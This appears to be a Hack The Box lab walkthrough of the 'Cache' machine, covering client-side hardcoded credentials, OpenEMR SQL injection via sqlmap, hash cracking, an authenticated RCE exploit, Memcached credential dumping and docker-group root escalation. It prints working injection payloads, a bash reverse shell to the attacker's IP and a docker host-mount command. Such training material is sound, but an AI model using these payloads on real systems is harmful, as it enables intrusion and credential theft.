Hack The Box

HackTheBox “Cache” Walkthrough

A Medium Linux box that teaches why client-side authentication, unauthenticated caches, and docker group membership are a recipe for full compromise.

A Medium Linux box that teaches why client-side authentication, unauthenticated caches, and docker group membership are a recipe for full compromise.

HackTheBox “Cache” Walkthrough, figure 1

Some boxes make you dig through every tool in your kit. Cache is not one of them. It is a focused, chain-driven machine that rewards attention to detail and a ruthless exploitation of trust boundaries.

We start with hardcoded credentials buried in a JavaScript file, pivot through a vulnerable OpenEMR patient portal, dump admin hashes with sqlmap, crack our way into an authenticated RCE, harvest credentials from an unauthenticated Memcached instance, and finally escape to root through the docker group.

If you are studying for the OSCP, OSWE, or just want a clean example of how small misconfigurations stack, this walkthrough is for you.

Machine Overview

Name: Cache
OS: Linux (Ubuntu 18.04-era)
Difficulty: Medium
IP: 10.129.5.28
Attacker IP: 10.10.16.84

Attack Chain at a Glance:

Hardcoded JS creds on cache.htb (ash:H@v3_fun)
-> discover HMS virtual host (hms.htb)
-> OpenEMR 5.0.1 patient portal auth bypass
-> error-based SQL injection via add_edit_event_user.php
-> sqlmap dumps admin bcrypt hash
-> john cracks hash (xxxxxx)
-> authenticated OpenEMR RCE via 45161.py
-> shell as www-data
-> su to ash via password reuse
-> local Memcached on 11211 caches luffy:0n3_p1ec3
-> luffy is in docker group
-> docker run mounts host root -> root.txt

The Mindset Before the Shell

Before running any commands, keep these principles in mind:

1. Client-side code is ground truth. The server cannot hide what it sends to the browser. Always read source and JavaScript.
2. Anticipate virtual hosts. Modern web servers often host multiple applications behind different Host headers.
3. Fingerprint versions early. Knowing the exact software version turns blind fuzzing into targeted exploitation.
4. Side doors matter. Patient portals, APIs, and secondary interfaces often have weaker access control than the main admin panel.
5. Local services are soft targets. Memcached, Redis, and similar tools often ship without authentication.
6. Docker group equals root. If a user is in the docker group, you are usually one command away from a root shell.

Phase 1: Initial Enumeration

We add the host entries first. This is a lab environment, so no public DNS resolves cache.htb or hms.htb for us.

echo “10.129.5.28 cache.htb hms.htb” | sudo tee -a /etc/hosts

Then we scan the target with the standard Nmap script and version combo:

nmap -sC -sV -T4 10.129.5.28

The output is clean and minimal:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Only SSH and HTTP. No SMB, no FTP, no high ports. The path in is almost certainly through the web application.

HackTheBox “Cache” Walkthrough, figure 2

Phase 2: Web Discovery on cache.htb

We visit http://cache.htb and see a hacking-themed site with a login button. The rendered page does not give much away, so we look at the source and linked JavaScript files.

HackTheBox “Cache” Walkthrough, figure 3

curl -s http://cache.htb/jquery/functionality.js

Inside, we find the login logic implemented entirely client-side:

function checkCorrectPassword(){
 var Password = $(“#password”).val();
 if(Password != ‘H@v3_fun’){
 alert(“Password didn’t Match”);
 error_correctPassword = true;
 }
}
function checkCorrectUsername(){
 var Username = $(“#username”).val();
 if(Username != “ash”){
 alert(“Username didn’t Match”);
 error_username = true;
 }
}

The credentials are hardcoded: ash:H@v3_fun. Client-side authentication is not authentication. It is a suggestion at best.

HackTheBox “Cache” Walkthrough, figure 4

After logging in, the site shows an under construction page. Manual browsing leads us to:

http://cache.htb/author.html

ASH’s bio mentions another project: Cache HMS (Hospital Management System). This is our breadcrumb to a second application.

HackTheBox “Cache” Walkthrough, figure 5

And the below is the cache.htb/author.

HackTheBox “Cache” Walkthrough, figure 6

Phase 3: Virtual Host Discovery (hms.htb)

Because we already added hms.htb to /etc/hosts, we visit it directly.

http://hms.htb

HackTheBox “Cache” Walkthrough, figure 7

It redirects to an OpenEMR login page:

http://hms.htb/interface/login/login.php?site=default

OpenEMR is a large, complex PHP health records application. Identifying the exact product immediately tells us to hunt for version-specific CVEs.

Phase 4: OpenEMR Enumeration & Version Identification

We fingerprint the version by checking admin.php and the login page footer, which references 2018. OpenEMR 5.0.1 was released in April 2018, so we target that version.

curl -s http://hms.htb/admin.php | grep -i “version\|openemr”

HackTheBox “Cache” Walkthrough, figure 8

A quick searchsploit search confirms the target-rich environment:

searchsploit openemr

Key findings:
- OpenEMR < 5.0.1 — (Authenticated) Remote Code Execution (45161.py)
- OpenEMR 5.0.1.3 — (Authenticated) Arbitrary File Actions (45202.txt)

Both are authenticated. We need admin credentials first. The patient portal at /portal/ is the weaker side door.

HackTheBox “Cache” Walkthrough, figure 9

Phase 5: Authentication Bypass & SQL Injection

Visit the patient portal:

http://hms.htb/portal/

HackTheBox “Cache” Walkthrough, figure 10

Instead of registering or logging in, we visit a page that should require authentication directly:

http://hms.htb/portal/add_edit_event_user.php?eid=1

The portal grants a PHPSESSID session cookie from simply visiting the registration page, and certain endpoints treat that cookie as proof of authentication. A logic flaw becomes our bypass.

To confirm SQL injection, we append a single quote:

http://hms.htb/portal/add_edit_event_user.php?eid=1'

The response leaks a MySQL syntax error and the exact query:

Query Error
ERROR: query failed: SELECT pc_facility, pc_multiple, pc_aid, facility.name
FROM openemr_postcalendar_events
LEFT JOIN facility ON (openemr_postcalendar_events.pc_facility = facility.id)
WHERE pc_eid = 1'

Phase 6: Credential Extraction with sqlmap

We grab a valid session cookie and build a request file for sqlmap.

curl -s -c cookies.txt -b cookies.txt “http://hms.htb/portal/account/register.php"

cat > openemr.req << ‘EOF’
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
EOF

echo “Cookie: $(grep -E ‘OpenEMR|PHPSESSID’ cookies.txt | awk ‘{print $6”=”$7}’ | tr ‘\n’ ‘; ‘ | sed ‘s/; $//’)” >> openemr.req

Then we dump the users_secure table:

sqlmap -r openemr.req -D openemr -T users_secure — dump — batch

Output:

Database: openemr
Table: users_secure
[1 entry]
+ — — + — — — — — — — — — — — — — — — — + — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — + — — — — — — — -+
| id | salt | password | username |
+ — — + — — — — — — — — — — — — — — — — + — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — + — — — — — — — -+
| 1 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | openemr_admin |
+ — — + — — — — — — — — — — — — — — — — + — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — + — — — — — — — -+

We now have the admin username and a bcrypt hash.

┌──(kali㉿kali)-[~/Downloads/OSWE-Prep]└─$ curl -s -c cookies.txt -b cookies.txt "http://hms.htb/portal/account/register.php"<!DOCTYPE html><html><head><title>New Patient | Register</title><meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'><meta name="description" content="Developed By sjpadgett@gmail.com"><link href="/public/assets/font-awesome-4-6-3/css/font-awesome.min.css" rel="stylesheet" type="text/css" /><link rel="stylesheet" href="/public/assets/jquery-datetimepicker-2-5-4/build/jquery.datetimepicker.min.css"><link href="/public/assets/bootstrap-3-3-4/dist/css/bootstrap.min.css" rel="stylesheet" type="text/css" /><link href="./../assets/css/register.css" rel="stylesheet" type="text/css" /><script src="/public/assets/jquery-min-3-1-1/index.js" type="text/javascript"></script><script src="/public/assets/bootstrap-3-3-4/dist/js/bootstrap.min.js" type="text/javascript"></script><script type="text/javascript" src="/public/assets/jquery-datetimepicker-2-5-4/build/jquery.datetimepicker.full.min.js"></script><script type="text/javascript" src="/public/assets/emodal-1-2-65/dist/eModal.js"></script><script>var newPid = 0;var curPid = 0;var provider = 0;$(document).ready(function () {    /* // test data    $("#emailInput").val("me@me.com");    $("#fname").val("Jerry");    $("#lname").val("Padgett");    $("#dob").val("1919-03-03");    // ---------- */    var navListItems = $('div.setup-panel div a'),    allWells = $('.setup-content'),    allNextBtn = $('.nextBtn'),    allPrevBtn = $('.prevBtn');    allWells.hide();    navListItems.click(function (e) {        e.preventDefault();        var $target = $($(this).attr('href')),        $item = $(this);        if (!$item.hasClass('disabled')) {            navListItems.removeClass('btn-primary').addClass('btn-default');            $item.addClass('btn-primary');            allWells.hide();            $target.show();            $target.find('input:eq(0)').focus();        }    });    allPrevBtn.click(function () {        var curStep = $(this).closest(".setup-content"),        curStepBtn = curStep.attr("id"),        prevstepwiz = $('div.setup-panel div a[href="#' + curStepBtn + '"]').parent().prev().children("a");        prevstepwiz.removeAttr('disabled').trigger('click');    });    allNextBtn.click(function () {        var profile = $("#profileFrame").contents();        /* // test data        profile.find("input#street").val("123 Some St.");        profile.find("input#city").val("Brandon");        //--------------------- */        var curStep = $(this).closest(".setup-content"),        curStepBtn = curStep.attr("id"),        nextstepwiz = $('div.setup-panel div a[href="#' + curStepBtn + '"]').parent().next().children("a"),        curInputs = curStep.find("input[type='text'],input[type='email'],select"),        isValid = true;        $(".form-group").removeClass("has-error");        for (var i = 0; i < curInputs.length; i++) {            if (!curInputs[i].validity.valid) {                isValid = false;                $(curInputs[i]).closest(".form-group").addClass("has-error");            }        }        if (isValid) {            if (curStepBtn == 'step-1') { // leaving step 1 setup profile frame. Prob not nec but in case                profile.find('input#fname').val($("#fname").val());                profile.find('input#mname').val($("#mname").val());                profile.find('input#lname').val($("#lname").val());                profile.find('input#dob').val($("#dob").val());                profile.find('input#email').val($("#emailInput").val());                profile.find('input[name=allowPatientPortal]').val(['YES']);                // need these for validation.                profile.find('select#providerid option:contains("Unassigned")').val('');                profile.find('select#providerid').attr('required', true);                profile.find('select#sex option:contains("Unassigned")').val('');                profile.find('select#sex').attr('required', true);                var pid = profile.find('input#pid').val();                if (pid < 1) { // form pid set in promise                    callServer('get_newpid', '', $("#dob").val(), $("#lname").val(), $("#fname").val()); // @TODO escape these                }            }            nextstepwiz.removeAttr('disabled').trigger('click');        }    });    $("#profileNext").click(function () {        var profile = $("#profileFrame").contents();        var curStep = $(this).closest(".setup-content"),        curStepBtn = curStep.attr("id"),        nextstepwiz = $('div.setup-panel div a[href="#' + curStepBtn + '"]').parent().next().children("a"),        curInputs = $("#profileFrame").contents().find("input[type='text'],input[type='email'],select"),        isValid = true;        $(".form-group").removeClass("has-error");        var flg = 0;        for (var i = 0; i < curInputs.length; i++) {            if (!curInputs[i].validity.valid) {                isValid = false;                if (!flg) {                    curInputs[i].scrollIntoView();                    curInputs[i].focus();                    flg = 1;                }                $(curInputs[i]).closest(".form-group").addClass("has-error");            }        }        if (isValid) {            provider = profile.find('select#providerid').val();            nextstepwiz.removeAttr('disabled').trigger('click');        }    });    $("#submitPatient").click(function () {        var profile = $("#profileFrame").contents();        var pid = profile.find('input#pid').val();        if (pid < 1) { // Just in case. Can never have too many pid checks!            callServer('get_newpid', '');        }        var isOk = checkRegistration(newPid);        if (isOk) {            // Use portals rest api. flag 1 is write to chart. flag 0 writes an audit record for review in dashboard.            // rest update will determine if new or existing pid for save. In register step-1 we catch existing pid but,            // we can still use update here if we want to allow changing passwords.            //            document.getElementById('profileFrame').contentWindow.page.updateModel(1);            $("#insuranceForm").submit();            //  cleanup is in callServer done promise. This starts end session.        }    });    $('div.setup-panel div a.btn-primary').trigger('click');    $('.datepicker').datetimepicker({                                    i18n:{        en: {            months: [                "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"            ],            dayOfWeekShort: [                "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"            ],            dayOfWeek: ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"            ]        },    },        yearStart: '1900',    scrollInput: false,    scrollMonth: false,    rtl: false,                        format: 'Y-m-d',                timepicker:false         });    $("#insuranceForm").submit(function (e) {        e.preventDefault();        var url = "account.php?action=new_insurance&pid=" + newPid;        $.ajax({            url: url,            type: 'post',            data: $("#insuranceForm").serialize(),            success: function (serverResponse) {                doCredentials(newPid) // this is the end for session.                return false;            }        });    });    $('#selLanguage').on('change', function () {        callServer("set_lang", this.value);    });    $(document.body).on('hidden.bs.modal', function () { //@TODO maybe make a promise for wiz exit        callServer('cleanup');    });    $('#inscompany').on('change', function () {        if ($('#inscompany').val().toUpperCase() === 'SELF') {            $("#insuranceForm input").removeAttr("required");            let message = "You have chosen to be self insured or currently do not have insurance. Click next to continue registration.";            alert(message);        }    });}); // ready endfunction doCredentials(pid) {    callServer('do_signup', pid);}function checkRegistration(pid) {    var profile = $("#profileFrame").contents();    var curStep = $("#step-2"),    curStepBtn = curStep.attr("id"),    nextstepwiz = $('div.setup-panel div a[href="#' + curStepBtn + '"]').parent().next().children("a"),    curInputs = $("#profileFrame").contents().find("input[type='text'],input[type='email'],select"),    isValid = true;    $(".form-group").removeClass("has-error");    var flg = 0;    for (var i = 0; i < curInputs.length; i++) {        if (!curInputs[i].validity.valid) {            isValid = false;            if (!flg) {                curInputs[i].scrollIntoView();                curInputs[i].focus();                flg = 1;            }            $(curInputs[i]).closest(".form-group").addClass("has-error");        }    }    if (!isValid) {        return false;    }    return true;}function callServer(action, value, value2, last, first) {    var data = {        'action' : action,        'value' : value,        'dob' : value2,        'last' : last,        'first' : first    }    if (action == 'do_signup') {        data = {            'action': action,            'pid': value        };    }    else if (action == 'notify_admin') {        data = {            'action': action,            'pid': value,            'provider': value2        };    }    else if (action == 'cleanup') {        data = {            'action': action        };    }    // The magic that is jquery ajax.    $.ajax({        type : 'GET',        url : 'account.php',        data : data    }).done(function (rtn) {        if (action == "cleanup") {            window.location.href = "./../index.php" // Goto landing page.        }        else if (action == "set_lang") {            window.location.href = window.location.href;        }        else if (action == "get_newpid") {            if (parseInt(rtn) > 0) {                newPid = rtn;                $("#profileFrame").contents().find('input#pubpid').val(newPid);                $("#profileFrame").contents().find('input#pid').val(newPid);            }            else {                // After error alert app exit to landing page.                // Existing user error. Error message is translated in account.lib.php.                eModal.alert(rtn);            }        }        else if (action == 'do_signup') {            if (rtn == "") {                let message = "Unable to either create credentials or send email.";                alert(message);                return false;            }            // For production. Here we're finished so do signup closing alert and then cleanup.            callServer('notify_admin', newPid, provider); // pnote notify to selected provider            // alert below for ease of testing.            //alert(rtn); // sync alert.. rtn holds username and password for testing.            let message = "Your new credentials have been sent. Check your email inbox and also possibly your spam folder. Once you log into your patient portal feel free to make an appointment or send us a secure message. We look forward to seeing you soon."            eModal.alert(message); // This is an async call. The modal close event exits us to portal landing page after cleanup.        }    }).fail(function (err) {        let message = "Something went wrong.";        alert(message);    });}</script></head><body class="skin-blue">    <div class="container">        <div class="stepwiz col-md-offset-3">            <div class="stepwiz-row setup-panel">                <div class="stepwiz-step">                    <a href="#step-1" type="button" class="btn btn-primary btn-circle">1</a>                    <p>Get Started</p>                </div>                <div class="stepwiz-step">                    <a href="#step-2" type="button" class="btn btn-default btn-circle" disabled="disabled">2</a>                    <p>Profile</p>                </div>                <div class="stepwiz-step">                    <a href="#step-3" type="button" class="btn btn-default btn-circle" disabled="disabled">3</a>                    <p>Insurance</p>                </div>                <div class="stepwiz-step">                    <a href="#step-4" type="button" class="btn btn-default btn-circle" disabled="disabled">Done</a>                    <p>Register</p>                </div>            </div>        </div><!-- // Start Forms // -->        <form class="form-inline" id="startForm" role="form" action="" method="post" onsubmit="">            <div class="row setup-content" id="step-1">                <div class="col-xs-7 col-md-offset-3 text-center">                    <fieldset>                        <legend class='bg-primary'>Contact</legend>                        <div class="well">                                                <div class="row">                                <div class="col-sm-12">                                    <div class="form-group inline">                                        <label class="control-label" for="fname">First</label>                                        <div class="controls inline-inputs">                                            <input type="text" class="form-control" id="fname" required placeholder="First Name">                                        </div>                                    </div>                                    <div class="form-group inline">                                        <label class="control-label" for="mname">Middle</label>                                        <div class="controls inline-inputs">                                            <input type="text" class="form-control" id="mname" placeholder="Full or Initial">                                        </div>                                    </div>                                    <div class="form-group inline">                                        <label class="control-label" for="lname">Last Name</label>                                        <div class="controls inline-inputs">                                            <input type="text" class="form-control" id="lname" required placeholder="Enter Last">                                        </div>                                    </div>                                </div>                            </div>                            <div class="form-group inline">                                <label class="control-label" for="dob">Birth Date</label>                                <div class="controls inline-inputs">                                    <div class="input-group">                                        <input id="dob" type="text" required class="form-control datepicker" placeholder="YYYY-MM-DD" />                                    </div>                                </div>                            </div>                            <div class="row">                                <div class="col-sm-12 form-group">                                    <label class="control-label" for="email">Enter E-Mail Address</label>                                    <div class="controls inline-inputs">                                        <input id="emailInput" type="email" class="form-control" style="width: 100%" required                                            placeholder="Enter email address to receive registration." maxlength="100">                                    </div>                                </div>                            </div>                        </div>                        <button class="btn btn-primary nextBtn btn-sm pull-right" type="button">Next</button>                    </fieldset>                </div>            </div>        </form><!-- Profile Form -->        <form class="form-inline" id="profileForm" role="form" action="account.php" method="post">            <div class="row setup-content" id="step-2" style="display: none">                <div class="col-md-9 col-md-offset-2 text-center">                    <fieldset>                        <legend class='bg-primary'>Profile</legend>                        <div class="well">                            <div class="embed-responsive embed-responsive-16by9">                                <iframe class="embed-responsive-item" src="../patient/patientdata?pid=0&register=true" id="profileFrame" name="demo"></iframe>                            </div>                        </div>                        <button class="btn btn-primary prevBtn btn-sm pull-left" type="button">Previous</button>                        <button class="btn btn-primary btn-sm pull-right" type="button" id="profileNext">Next</button>                    </fieldset>                </div>            </div>        </form><!-- Insurance Form -->        <form class="form-inline" id="insuranceForm" role="form" action="" method="post">            <div class="row setup-content" id="step-3" style="display: none">                <div class="col-xs-6 col-md-offset-3 text-center">                    <fieldset>                        <legend class='bg-primary'>Insurance</legend>                        <div class="well">                            <div class="form-group inline">                                <label class="control-label" for="provider">Insurance Company</label>                                <div class="controls inline-inputs">                                    <input type="text" class="form-control" name="provider" id="inscompany" required placeholder="Enter Self if None">                                </div>                            </div>                            <div class="form-group inline">                                <label class="control-label" for="">Plan Name</label>                                <div class="controls inline-inputs">                                    <input type="text" class="form-control" name="plan_name" required placeholder="Required">                                </div>                            </div>                            <div class="form-group inline">                                <label class="control-label" for="">Policy Number</label>                                <div class="controls inline-inputs">                                    <input type="text" class="form-control" name="policy_number" required placeholder="Required">                                </div>                            </div>                            <div class="form-group inline">                                <label class="control-label" for="">Group Number</label>                                <div class="controls inline-inputs">                                    <input type="text" class="form-control" name="group_number" required placeholder="Required">                                </div>                            </div>                            <div class="form-group inline">                                <label class="control-label" for="">Policy Begin Date</label>                                <div class="controls inline-inputs">                                    <input type="text" class="form-control datepicker" name="date" placeholder="Policy effective date">                                </div>                            </div>                            <div class="form-group inline">                                <label class="control-label" for="">Co-Payment</label>                                <div class="controls inline-inputs">                                    <input type="number" class="form-control" name="copay" placeholder="Plan copay if known">                                </div>                            </div>                        </div>                        <button class="btn btn-primary prevBtn btn-sm pull-left" type="button">Previous</button>                        <button class="btn btn-primary nextBtn btn-sm pull-right" type="button">Next</button>                    </fieldset>                </div>            </div>        </form>        <!-- End Insurance. Next what we've been striving towards..the end-->        <div class="row setup-content" id="step-4" style="display: none">            <div class="col-xs-6 col-md-offset-3 text-center">                <div class="col-md-12">                    <fieldset>                        <legend class='bg-success'>Register</legend>                        <div class="well" style="text-align: center">                            <h4 class='bg-success'>All set. Click Send Request below to finish registration</h4>                            <hr>                            <p>                            An e-mail with your new account credentials will be sent to the e-mail address supplied earlier. You may still review or edit any part of your information by using the top step buttons to go to the appropriate panels. Note to be sure you have given your correct e-mail address. If after receiving credentials and you have trouble with access to the portal, please contact administration.                            </p>                        </div>                        <button class="btn btn-primary prevBtn btn-sm pull-left" type="button">Previous</button>                        <hr>                        <button class="btn btn-success btn-sm pull-right" type="button" id="submitPatient">Send Request</button>                    </fieldset>                </div>            </div>        </div>    </div></body></html>                                                                                                                                                                                       ┌──(kali㉿kali)-[~/Downloads/OSWE-Prep]└─$ cat > openemr.req << 'EOF'GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1Host: hms.htbUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1EOF                                                                                                                                                                                       ┌──(kali㉿kali)-[~/Downloads/OSWE-Prep]└─$ echo "Cookie: $(grep -E 'OpenEMR|PHPSESSID' cookies.txt | awk '{print $6"="$7}' | tr '\n' '; ' | sed 's/; $//')" >> openemr.req┌──(kali㉿kali)-[~/Downloads/OSWE-Prep]└─$ sqlmap -r openemr.req --flush-session -D openemr -T users_secure --dump --batch        ___       __H__ ___ ___[)]_____ ___ ___  {1.10.4#stable}|_ -| . [(]     | .'| . ||___|_  [)]_|_|_|__,|  _|      |_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 05:47:49 /2026-06-17/[05:47:49] [INFO] parsing HTTP request from 'openemr.req'[05:47:49] [INFO] testing connection to the target URL[05:47:50] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests[05:47:50] [INFO] checking if the target is protected by some kind of WAF/IPS[05:47:50] [INFO] testing if the target URL content is stable[05:47:51] [INFO] target URL content is stable[05:47:51] [INFO] testing if GET parameter 'eid' is dynamic[05:47:51] [WARNING] GET parameter 'eid' does not appear to be dynamic[05:47:52] [INFO] heuristic (basic) test shows that GET parameter 'eid' might be injectable (possible DBMS: 'MySQL')[05:47:53] [INFO] testing for SQL injection on GET parameter 'eid'it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Yfor the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y[05:47:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[05:47:54] [WARNING] reflective value(s) found and filtering out[05:47:59] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'[05:48:00] [INFO] GET parameter 'eid' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --not-string="row")[05:48:00] [INFO] testing 'Generic inline queries'[05:48:01] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'[05:48:02] [INFO] GET parameter 'eid' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable [05:48:02] [INFO] testing 'MySQL inline queries'[05:48:02] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'[05:48:02] [WARNING] time-based comparison requires larger statistical model, please wait........... (done)                                                                           [05:48:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries'[05:48:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'[05:48:10] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'[05:48:11] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'[05:48:11] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'[05:48:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'[05:48:23] [INFO] GET parameter 'eid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [05:48:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[05:48:23] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[05:48:24] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test[05:48:27] [INFO] target URL appears to have 4 columns in query[05:48:28] [INFO] GET parameter 'eid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'eid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 45 HTTP(s) requests:---Parameter: eid (GET)    Type: boolean-based blind    Title: Boolean-based blind - Parameter replace (original value)    Payload: eid=(SELECT (CASE WHEN (4361=4361) THEN 1 ELSE (SELECT 6857 UNION SELECT 5313) END))    Type: error-based    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)    Payload: eid=1 AND EXTRACTVALUE(6303,CONCAT(0x5c,0x71706b7171,(SELECT (ELT(6303=6303,1))),0x716a787a71))    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: eid=1 AND (SELECT 8380 FROM (SELECT(SLEEP(5)))HEtH)    Type: UNION query    Title: Generic UNION query (NULL) - 4 columns    Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71706b7171,0x6d414c6f6945757153417058755853736665516f6e6d786270626c4e556c694c4f67705275474542,0x716a787a71),NULL-- ----[05:48:28] [INFO] the back-end DBMS is MySQLweb server operating system: Linux Ubuntu 18.04 (bionic)web application technology: Apache 2.4.29back-end DBMS: MySQL >= 5.1[05:48:33] [INFO] fetching columns for table 'users_secure' in database 'openemr'[05:48:34] [INFO] fetching entries for table 'users_secure' in database 'openemr'Database: openemrTable: users_secure[1 entry]+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+| id | salt                           | password                                                     | username      | last_update         | salt_history1 | salt_history2 | password_history1 | password_history2 |+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+| 1  | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | openemr_admin | 2019-11-21 06:38:40 | NULL          | NULL          | NULL              | NULL              |+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+[05:48:35] [INFO] table 'openemr.users_secure' dumped to CSV file '/home/kali/.local/share/sqlmap/output/hms.htb/dump/openemr/users_secure.csv'[05:48:35] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/hms.htb'[*] ending @ 05:48:35 /2026-06-17/
HackTheBox “Cache” Walkthrough, figure 11

Phase 7: Hash Cracking

We save the hash and crack it with John the Ripper using rockyou.txt.

echo ‘$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.’ > hash.txt
john — wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Result:

xxxxxx (?)

The password is extremely weak. Even bcrypt’s slowness cannot protect a six-character common password.

Final OpenEMR credentials:
- Username: openemr_admin
- Password: xxxxxx

HackTheBox “Cache” Walkthrough, figure 12

Phase 8: Authenticated Remote Code Execution

We fetch the authenticated RCE exploit:

searchsploit -m php/webapps/45161.py

The exploit authenticates as openemr_admin, abuses a template import file-write flaw to drop a PHP web shell, then triggers it.

The exploit is written for Python 2, so we fix a bytes/string issue in Python 3:

sed -i ‘s/base64.b64encode(args.cmd)/base64.b64encode(args.cmd.encode()).decode()/g’ 45161.py

HackTheBox “Cache” Walkthrough, figure 13

Start a listener:

nc -lvnp 9001

Run the exploit with a bash reverse shell:

python 45161.py -u openemr_admin -p xxxxxx -c “bash -i >& /dev/tcp/10.10.16.84/9001 0>&1” http://hms.htb

HackTheBox “Cache” Walkthrough, figure 14

We catch the shell:

connect to [10.10.16.84] from (UNKNOWN) [10.129.5.28] 44898
bash: cannot set terminal process group (1997): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/var/www/hms.htb/public_html/interface/main$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrade to a proper TTY:

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

HackTheBox “Cache” Walkthrough, figure 15

Phase 9: User Flag (www-data to ash)

We already have ash’s password from the JavaScript login: H@v3_fun. Password reuse is human nature.

su ash
cd ~
cat user.txt

HackTheBox “Cache” Walkthrough, figure 16

Phase 10: Privilege Escalation Enumeration

We check local services and spot something interesting:

netstat -antp | grep 11211

tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN -

Port 11211 is Memcached. Given the box name is Cache, this is clearly part of the privilege escalation chain. Memcached stores key-value pairs in RAM and typically ships with no authentication.

HackTheBox “Cache” Walkthrough, figure 17

Phase 11: Memcached Credential Harvesting

We dump the cached keys from slab 1:

echo “stats cachedump 1 0” | nc -q 1 127.0.0.1 11211

Output:

ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

HackTheBox “Cache” Walkthrough, figure 18

The keys are literally named user and passwd. We retrieve them:

echo “get user” | nc -q 1 127.0.0.1 11211
echo “get passwd” | nc -q 1 127.0.0.1 11211
echo “get account” | nc -q 1 127.0.0.1 11211

Output:

VALUE user 0 5
luffy
END

VALUE passwd 0 9
0n3_p1ec3
END

VALUE account 0 9
afhj556uo
END

New credentials: luffy:0n3_p1ec3

HackTheBox “Cache” Walkthrough, figure 19

Phase 12: Docker Group Privilege Escalation to Root

We switch to luffy:

su luffy
id

Output:

uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)

HackTheBox “Cache” Walkthrough, figure 20

luffy is in the docker group. On most Linux systems, that is root-equivalent. We check available images:

docker images

Output:

REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 6 years ago 64.2MB

HackTheBox “Cache” Walkthrough, figure 21

There is no internet to pull alpine, but ubuntu is cached locally. We adapt the classic payload:

docker run -v /:/mnt — rm -it ubuntu chroot /mnt sh

Breakdown:
- docker run: create and start a container
- -v /:/mnt: mount the host’s root filesystem to /mnt inside the container
- — rm: delete the container on exit
- -it: interactive terminal
